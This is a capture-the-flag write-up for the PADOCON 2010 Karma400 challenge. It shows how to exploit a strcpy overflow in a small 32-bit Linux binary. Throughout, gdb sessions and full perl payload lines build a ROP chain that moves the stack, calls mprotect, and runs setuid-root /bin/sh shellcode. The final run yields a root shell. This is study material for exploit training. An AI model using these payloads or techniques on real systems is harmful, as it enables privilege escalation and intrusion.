This is lazy writeup for Karma400 at PADOCON 2010 CTF prequals
At first, I rebuild this in the same environment.
[passket@sandb0x labs]$ uname -a
Linux sandb0x 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
[passket@sandb0x labs]$ gdb ./test
GNU gdb (GDB) Fedora (7.0-3.fc12)
Copyright (C) 2009 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-redhat-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /home/passket/labs/test...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
0x08048208 <main+0>: push %ebp
0x08048209 <main+1>: mov %esp,%ebp
0x0804820b <main+3>: sub $0x8,%esp
0x0804820e <main+6>: and $0xfffffff0,%esp
0x08048211 <main+9>: mov $0x0,%eax
0x08048216 <main+14>: sub %eax,%esp
0x08048218 <main+16>: movl $0x80481f0,0x809e734
0x08048222 <main+26>: sub $0x8,%esp
0x08048225 <main+29>: mov 0xc(%ebp),%eax
0x08048228 <main+32>: add $0x4,%eax
0x0804822b <main+35>: pushl (%eax)
0x0804822d <main+37>: push $0x809e730
0x08048232 <main+42>: call 0x804d760 <strcpy>
0x08048237 <main+47>: add $0x10,%esp
0x0804823a <main+50>: mov 0x809e734,%eax
0x0804823f <main+55>: call *%eax
0x08048241 <main+57>: mov $0x0,%eax
0x08048246 <main+62>: leave
0x08048247 <main+63>: ret
End of assembler dump.
(gdb)
test is binary for Karma400.
ok, this is code
for Karma400.
#include <stdio.h>
#include <string.h>
char buf[4];
void (*func)();
void print( )
{
printf( "melong\n" );
}
int main( int argc, char *argv[] )
{
func = print;
strcpy( buf, argv[1] );
func();
return 0;
}
We can overflow heap buffer buf[4], and overwrite func pointer.
Actually, this binary compiled on libc-the-old-one, libc-2.3.3.so
in this version,
strcpy() has some bugs.
Breakpoint 1, 0x08048208 in main ()
(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x0804d760 <strcpy+0>: push %ebp
0x0804d761 <strcpy+1>: mov %esp,%ebp
0x0804d763 <strcpy+3>: push %ebx
0x0804d764 <strcpy+4>: mov 0x8(%ebp),%ebx
0x0804d767 <strcpy+7>: mov 0xc(%ebp),%edx
0x0804d76a <strcpy+10>: mov %ebx,%eax
0x0804d76c <strcpy+12>: sub %edx,%eax
0x0804d76e <strcpy+14>: lea -0x1(%eax),%ecx
0x0804d771 <strcpy+17>: lea 0x0(%esi),%esi
0x0804d774 <strcpy+20>: mov (%edx),%al
0x0804d776 <strcpy+22>: inc %edx
0x0804d777 <strcpy+23>: test %al,%al
0x0804d779 <strcpy+25>: mov %al,(%ecx,%edx,1)
0x0804d77c <strcpy+28>: jne 0x804d774 <strcpy+20>
0x0804d77e <strcpy+30>: mov %ebx,%eax
0x0804d780 <strcpy+32>: pop %ebx
0x0804d781 <strcpy+33>: leave
0x0804d782 <strcpy+34>: ret
End of assembler dump.
strcpy() use %edx register. but, this function doesn't restore %edx register.
After calling strcpy() %edx
register points end of source buffer.
We can use this.
(gdb) b *main+55
Breakpoint 1 at 0x804823f
(gdb) r
Starting program: /home/passket/labs/test
Program received signal SIGSEGV, Segmentation fault.
0x0804d774 in strcpy ()
(gdb) r aaaa bbbb cccc
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/passket/labs/test aaaa bbbb cccc
Breakpoint 1, 0x0804823f in main ()
(gdb) x/s $edx
0xbfb2f88e: "bbbb"
(gdb)
0xbfb2f893: "cccc"
(gdb)
putting in argv[2], we can locate %edx to argv[2].
For executing
shell, ROP(Return Oriented Programming) maybe helps us.
This is some
helpful code stuff that I found.
(gdb) x/i 0x80577a8
0x80577a8 <_IO_switch_to_wget_mode+76>: mov 0xb8(%edx),%eax
(gdb)
0x80577ae <_IO_switch_to_wget_mode+82>: push $0xffffffff
(gdb)
0x80577b0 <_IO_switch_to_wget_mode+84>: push %ebx
(gdb)
0x80577b1 <_IO_switch_to_wget_mode+85>: call *0xc(%eax)
(gdb) x/i 0x806dfaf
0x806dfaf <fclose+99>: xchg %eax,%esp
(gdb)
0x806dfb0 <fclose+100>: add %al,(%eax)
(gdb)
0x806dfb2 <fclose+102>: add %ch,0x0(%edx)
(gdb)
0x806dfb5 <fclose+105>: push %ebx
(gdb)
0x806dfb6 <fclose+106>: call *0x8(%edx)
(gdb) x/i 0x806cc4a
0x806cc4a <__mpn_lshift+74>: pop %eax
(gdb)
0x806cc4b <__mpn_lshift+75>: pop %ebx
(gdb)
0x806cc4c <__mpn_lshift+76>: pop %esi
(gdb)
0x806cc4d <__mpn_lshift+77>: pop %edi
(gdb)
0x806cc4e <__mpn_lshift+78>: ret
(gdb) x/i 0x8080821
0x8080821 <_dl_debug_state+1>: mov %esp,%ebp
(gdb)
0x8080823 <_dl_debug_state+3>: leave
(gdb)
0x8080824 <_dl_debug_state+4>: ret
(gdb) x/i 0x80480eb
0x80480eb: add %al,(%eax)
okay,
at first, we modify %eax point buf[0]. for this,
we use 0x080577a8
and second, we exchange %eax, %esp. for
this, we use 0x0806dfaf
and third, we modify %ebp to
%esp+4. for this, we use 0x0806cc4a, 0x08080821
after this code
chain, we get static stack located %eax, starting point of buffer.
look at this:
(gdb) r "`perl -e 'print "AAAA", "\xa8\x77\x05\x08", "\x4a\xcc\x06\x08", "CCCC", "\xaf\xdf\x06\x08", "DDDD", "EEEE", "\x21\x08\x08\x08", "\x58\xe7\x09\x08"'`" "`perl -e 'print "a"x0x8, "\x4b\xcc\x06\x08", "b"x0xac, "\x34\xe7\x09\x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting
program: /home/passket/labs/test "`perl -e 'print "AAAA", "\xa8\x77\x05\x08", "\x4a\xcc\x06\x08", "CCCC", "\xaf\xdf\x06\x08", "DDDD",
"EEEE", "\x21\x08\x08\x08", "\x58\xe7\x09\x08"'`" "`perl -e 'print "a"x0x8, "\x4b\xcc\x06\x08", "b"x0xac, "\x34\xe7\x09\x08"'`"
Breakpoint 1, 0x0804823f in main ()
(gdb) x/i $eip
0x804823f <main+55>: call *%eax
(gdb) x/i $eax
0x80577a8 <_IO_switch_to_wget_mode+76>: mov 0xb8(%edx),%eax
(gdb)
0x80577ae <_IO_switch_to_wget_mode+82>: push $0xffffffff
(gdb)
0x80577b0 <_IO_switch_to_wget_mode+84>: push %ebx
(gdb)
0x80577b1 <_IO_switch_to_wget_mode+85>: call *0xc(%eax)
(gdb) si
0x080577a8 in _IO_switch_to_wget_mode ()
(gdb) ni
0x080577ae in _IO_switch_to_wget_mode ()
(gdb) ni
0x080577b0 in _IO_switch_to_wget_mode ()
(gdb) ni
0x080577b1 in _IO_switch_to_wget_mode ()
(gdb) x/i $eip
0x80577b1 <_IO_switch_to_wget_mode+85>: call *0xc(%eax)
gdb) x/i *($eax+0xc)
0x806dfaf <fclose+99>: xchg %eax,%esp
(gdb)
0x806dfb0 <fclose+100>: add %al,(%eax)
(gdb)
0x806dfb2 <fclose+102>: add %ch,0x0(%edx)
(gdb)
0x806dfb5 <fclose+105>: push %ebx
(gdb)
0x806dfb6 <fclose+106>: call *0x8(%edx)
(gdb) si
0x0806dfaf in fclose ()
(gdb) ni
0x0806dfb0 in fclose ()
(gdb) ni
0x0806dfb2 in fclose ()
(gdb) ni
0x0806dfb5 in fclose ()
(gdb) ni
0x0806dfb6 in fclose ()
(gdb) x/i $eip
0x806dfb6 <fclose+106>: call *0x8(%edx)
(gdb) x/16wx $esp
0x809e730 <buf>: 0x00000000 0x080577a8 0x0806cc4a 0x43434343
0x809e740 <_dl_nloaded>: 0x0806dfaf 0x44444444 0x45454545 0x08080821
0x809e750 <_dl_platformlen>: 0x0809e758 0x00000000 0x00000000 0x00000000
0x809e760 <_dl_profile>: 0x00000000 0x00000000 0x00000000 0x00000000
Now, we modify %esp point start of buf.
to modify base pointer, we
get the %ebp.
(gdb) x/i *($edx+0x8)
0x806cc4b <__mpn_lshift+75>: pop %ebx
(gdb)
0x806cc4c <__mpn_lshift+76>: pop %esi
(gdb)
0x806cc4d <__mpn_lshift+77>: pop %edi
(gdb)
0x806cc4e <__mpn_lshift+78>: ret
(gdb) x/i 0x0806cc4a
0x806cc4a <__mpn_lshift+74>: pop %eax
(gdb)
0x806cc4b <__mpn_lshift+75>: pop %ebx
(gdb)
0x806cc4c <__mpn_lshift+76>: pop %esi
(gdb)
0x806cc4d <__mpn_lshift+77>: pop %edi
(gdb)
0x806cc4e <__mpn_lshift+78>: ret
(gdb) si
0x0806cc4b in __mpn_lshift ()
(gdb) ni
0x0806cc4c in __mpn_lshift ()
(gdb) ni
0x0806cc4d in __mpn_lshift ()
(gdb) ni
0x0806cc4e in __mpn_lshift ()
(gdb) ni
0x0806cc4b in __mpn_lshift ()
(gdb) ni
0x0806cc4c in __mpn_lshift ()
(gdb) ni
0x0806cc4d in __mpn_lshift ()
(gdb) ni
0x0806cc4e in __mpn_lshift ()
(gdb) x/i $eip
0x806cc4e <__mpn_lshift+78>: ret
(gdb) x/16wx $esp
0x809e74c <_dl_initial_searchlist+4>: 0x08080821 0x0809e758 0x00000000 0x00000000
0x809e75c <_dl_load_adds+4>: 0x00000000 0x00000000 0x00000000 0x00000000
0x809e76c <_dl_platform>: 0x00000000 0x00000001 0x08048034 0x00000000
0x809e77c <_dl_clktck>: 0x00000064 0x00000001 0x00000000 0x08a51060
(gdb) x/i 0x08080821
0x8080821 <_dl_debug_state+1>: mov %esp,%ebp
(gdb)
0x8080823 <_dl_debug_state+3>: leave
(gdb)
0x8080824 <_dl_debug_state+4>: ret
(gdb) ni
0x08080821 in _dl_debug_state ()
(gdb) ni
0x08080823 in _dl_debug_state ()
(gdb) ni
0x08080824 in _dl_debug_state ()
(gdb) x/i $eip
0x8080824 <_dl_debug_state+4>: ret
(gdb) x/16wx $esp
0x809e754 <_dl_debug_mask>: 0x00000000 0x00000000 0x00000000 0x00000000
0x809e764 <_dl_global_scope_alloc>: 0x00000000 0x00000000 0x00000000 0x00000001
0x809e774 <_dl_phdr>: 0x08048034 0x00000000 0x00000064 0x00000001
0x809e784 <_dl_sysinfo_dso>: 0x00000000 0x08a51060 0x00000000 0x00000000
(gdb) x/16wx $ebp
0x809e758 <_dl_load_adds>: 0x00000000 0x00000000 0x00000000 0x00000000
0x809e768 <_dl_bind_not>: 0x00000000 0x00000000 0x00000001 0x08048034
0x809e778 <_dl_origin_path>: 0x00000000 0x00000064 0x00000001 0x00000000
0x809e788 <_dl_init_all_dirs>: 0x08a51060 0x00000000 0x00000000 0x00000004
and now, we get static stack starting at buf[0].
after this, we can have
stack overflow flow. but, stack is non-executable.
for calling mprotect(),
we consider memory layout.
(gdb) info proc
process 1868
cmdline = '/home/passket/labs/test'
cwd = '/home/passket/labs'
exe = '/home/passket/labs/test'
(gdb) she cat /proc/1868/maps
008dd000-008de000 r-xp 00000000 00:00 0 [vdso]
08048000-0809d000 r-xp 00000000 fd:00 81266 /home/passket/labs/test
0809d000-0809e000 rw-p 00055000 fd:00 81266 /home/passket/labs/test
0809e000-0809f000 rw-p 00000000 00:00 0
08a51000-08a72000 rw-p 00000000 00:00 0 [heap]
bfa2c000-bfa41000 rw-p 00000000 00:00 0 [stack]
our new stack in this page, 0809e000-0809f000 rw-p 00000000 00:00 0
we will call
mprotect( 0x0809e000, 0x00001000, 0x00000007 )
null is problem. but solution
is simple.
for this call, we use strcpy for modifying
arguments of mprotect().
call chain is like this.
[strcpy][PPR][first character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[strcpy][PPR][next character of mprotect arguments that want to be modified 0x00][null memory]
[mprotect][address of shellcode][0x0809e041][0x42421042][0x43434307]
[shellcode]
* PPR
means Pop-pop-ret.
after calling strcpy, 0x41, 0x42, 0x43 in arguments
of mprotect are modified 0x00.
(gdb) r "`perl -e 'print "AAAA", "\xa8\x77\x05\x08", "\x4a\xcc\x06\x08", "CCCC", "\xaf\xdf\x06\x08", "DDDD", "EEEE", "\x21\x08\x08\x08", "\x58\xe7\x09\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xcc\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd0\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd2\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd3\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd5\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd6\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd7\xe7\x09\x08\xeb\x80\x04\x08", "\xe0\xdf\x04\x08", "\xd8\xe7\x09\x08", "\x01\xe0\x09\x08", "\x42\x10\x42\x42", "\x07\x43\x43\x43", "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`" "`perl -e 'print "a"x0x8, "\x4b\xcc\x06\x08", "b"x0xac, "\x34\xe7\x09\x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting
program: /home/passket/labs/test "`perl -e 'print "AAAA", "\xa8\x77\x05\x08", "\x4a\xcc\x06\x08", "CCCC", "\xaf\xdf\x06\x08", "DDDD",
"EEEE", "\x21\x08\x08\x08", "\x58\xe7\x09\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xcc\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd0\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd2\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd3\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd5\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd6\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd7\xe7\x09\x08\xeb\x80\x04\x08", "\xe0\xdf\x04\x08",
"\xd8\xe7\x09\x08", "\x01\xe0\x09\x08", "\x42\x10\x42\x42", "\x07\x43\x43\x43", "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`" "`perl -e 'print "a"x0x8, "\x4b\xcc\x06\x08", "b"x0xac,
"\x34\xe7\x09\x08"'`"
Breakpoint 1, 0x0804823f in main ()
(gdb) b *strcpy
Breakpoint 2 at 0x804d760
(gdb) c
Continuing.
Breakpoint 2, 0x0804d760 in strcpy ()
(gdb) x/16wx $esp
0x809e758 <_dl_load_adds>: 0x0806cc4c 0x0809e7cc 0x080480eb 0x0804d760
0x809e768 <_dl_bind_not>: 0x0806cc4c 0x0809e7d0 0x080480eb 0x0804d760
0x809e778 <_dl_origin_path>: 0x0806cc4c 0x0809e7d2 0x080480eb 0x0804d760
0x809e788 <_dl_init_all_dirs>: 0x0806cc4c 0x0809e7d3 0x080480eb 0x0804d760
(gdb)
0x809e798 <_dl_profile_map>: 0x0806cc4c 0x0809e7d5 0x080480eb 0x0804d760
0x809e7a8 <_dl_inhibit_rpath>: 0x0806cc4c 0x0809e7d6 0x080480eb 0x0804d760
0x809e7b8 <__libc_argv>: 0x0806cc4c 0x0809e7d7 0x080480eb 0x0804dfe0
0x809e7c8 <__gconv_lock>: 0x0809e7d8 0x0809e001 0x42421042 0x43434307
(gdb)
0x809e7d8 <__gconv_lock+16>: 0x31b0c031 0xc38980cd 0xc031c189 0x80cd46b0
0x809e7e8 <__gconv_max_path_elem_len>: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0x809e7f8 <__libc_setlocale_lock+8>: 0x31e18953 0xcd0bb0d2 0x00000080 0x00000000
0x809e808: 0x00000000 0x00000000 0x00000000 0x00000000
okay, call chain in stack is correct. this execute
shell for us.
let's try this.
[passket@sandb0x labs]$ ./test "`perl -e 'print "AAAA", "\xa8\x77\x05\x08", "\x4a\xcc\x06\x08", "CCCC", "\xaf\xdf\x06\x08", "DDDD", "EEEE", "\x21\x08\x08\x08", "\x58\xe7\x09\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xcc\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd0\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd2\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd3\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd5\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd6\xe7\x09\x08\xeb\x80\x04\x08", "\x60\xd7\x04\x08\x4c\xcc\x06\x08\xd7\xe7\x09\x08\xeb\x80\x04\x08", "\xe0\xdf\x04\x08", "\xd8\xe7\x09\x08", "\x01\xe0\x09\x08", "\x42\x10\x42\x42", "\x07\x43\x43\x43", "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`" "`perl -e 'print "a"x0x8, "\x4b\xcc\x06\x08", "b"x0xac, "\x34\xe7\x09\x08"'`"
sh-4.0# id
uid=0(root) gid=500(passket) groups=500(passket) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
okay, we get the shell.
we don't use symlink for this problem. So,
we use this method in remote environments, i think.